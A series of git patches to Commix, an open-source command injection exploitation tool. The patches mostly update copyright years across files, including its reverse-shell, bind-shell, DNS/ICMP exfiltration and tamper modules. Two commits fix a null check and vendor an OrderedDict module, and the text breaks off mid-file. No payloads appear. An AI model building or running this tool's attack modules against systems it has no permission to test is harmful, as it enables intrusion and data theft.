b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index 0f220fa438..ce537b5c28 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/dns_exfiltration/__init__.py +++ b/src/core/modules/dns_exfiltration/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index cffc02123d..9672ead123 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/icmp_exfiltration/__init__.py +++ b/src/core/modules/icmp_exfiltration/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 859960da4e..1fe99f9faf 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 7772327969..04e772b1b3 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index fd6b70b298..b4dc01446d 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b73162bc84..850f794689 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 837b5504d8..89402a77fc 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 4cfd6ca4a0..c2bac33ae2 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index d6d7333194..a532c9ebe3 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c389ddd81a..ee1f89e857 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 97b5f02003..b26c6eff63 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 8a65d0dfeb..53141793f3 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index ecd1695ced..8944e3569f 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 5f500298b7..b67812b955 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index edf186e321..944620ebab 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 873e07da92..1c88cceffa 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 8e1f67fdbc..bf11c75e59 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 8ea926ef2a..27b40f7fff 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 6a086cee21..32eaa22faa 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index a0880136dc..35c4d85d2c 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 4529d9c40b..e641415020 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 1750e9628b..94ac9c628f 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 5d65c4453d..654d3227a6 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 144198e69d..0af29d889d 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 64a74a7cd0..6b7ec10a0a 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 826f370f3c..ed81d9320b 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index c37d3e4bd9..1c64f58eb7 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index a5d58e1fe1..d2c972843e 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 16efec438d..86cb38eecb 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index fc6e610e34..0c48259993 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 4d3e8a3f3d..72d9368094 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 712bd936b7..1db614ebf8 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index ab7ce8547d..30f2b608f7 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 14932f4534..170e024eaa 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index 6ee6d068b6..befb641560 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 529ccaaf66..e4f0d0a91c 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index 6c11a7c1d9..4036a289c4 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index f7a9a34275..c9ea825ff8 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index a0c410e1d7..d7eb5926ef 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index eda005530a..6c88cffc6a 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index 1b3c3f13c2..f21690d6fb 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 3027f59de3..aa5353f288 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index 383b26e3aa..e7ffaad40d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -228,7 +228,7 @@ def sys_argv_errors(): VERSION = "v" + VERSION_NUM + "-stable" else: VERSION = "v" + VERSION_NUM + "-dev#" + REVISION -YEAR = "2014-2021" +YEAR = "2014-2022" AUTHOR_TWITTER = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_TWITTER = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 9622665eaa..4306f5145b 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 8b65fc41a6..cfadf978c6 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index b3497d8eb6..a8a1b6de0e 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 4dcb469f0e9fc05a9944a4da7cbd91553f7a6cf7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jan 2022 09:53:48 +0200 Subject: [PATCH 041/560] Fixes https://github.com/commixproject/commix/issues/729 --- src/core/injections/controller/checks.py | 2 +- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cb8acc9dc8..c3b9969377 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -835,7 +835,7 @@ def wildcard_character(data): _ = "" for data in data.split("\\n"): # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and settings.WILDCARD_CHAR in data : + if not data.startswith("Accept: ") and not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in data : data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) _ = _ + data + "\\n" data = _.rstrip("\\n") diff --git a/src/core/main.py b/src/core/main.py index ce537b5c28..e20a5b0db2 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -829,7 +829,7 @@ def main(filename, url): http_request_method = settings.HTTP_METHOD.upper() else: if not menu.options.data or \ - settings.WILDCARD_CHAR in menu.options.url or \ + not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ settings.INJECT_TAG in menu.options.url or \ [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: http_request_method = settings.HTTPMETHOD.GET diff --git a/src/utils/settings.py b/src/utils/settings.py index e7ffaad40d..8494bf0653 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8325ae132f871b36f6bdab60b1c33e5ffd01a0c6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jan 2022 10:39:18 +0200 Subject: [PATCH 042/560] Fixes https://github.com/commixproject/commix/issues/728 --- src/core/injections/controller/checks.py | 2 +- src/thirdparty/flatten_json/flatten_json.py | 4 +- src/thirdparty/odict/__init__.py | 8 ++ src/thirdparty/odict/ordereddict.py | 133 ++++++++++++++++++++ src/thirdparty/six/__init__.py | 1 + src/utils/settings.py | 2 +- 6 files changed, 146 insertions(+), 4 deletions(-) create mode 100644 src/thirdparty/odict/__init__.py create mode 100644 src/thirdparty/odict/ordereddict.py diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c3b9969377..7d2c4721d5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -29,7 +29,7 @@ from src.utils import menu from src.utils import settings from src.utils import simple_http_server -from collections import OrderedDict +from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 1f4de43438..a3009ed76e 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -8,8 +8,8 @@ https://github.com/amirziai/flatten """ from src.utils import settings -from collections import Iterable -from collections import OrderedDict +from src.thirdparty.odict import OrderedDict +#from collections import Iterable def check_if_numbers_are_consecutive(list_): """ diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py new file mode 100644 index 0000000000..8571776ae4 --- /dev/null +++ b/src/thirdparty/odict/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +import sys + +if 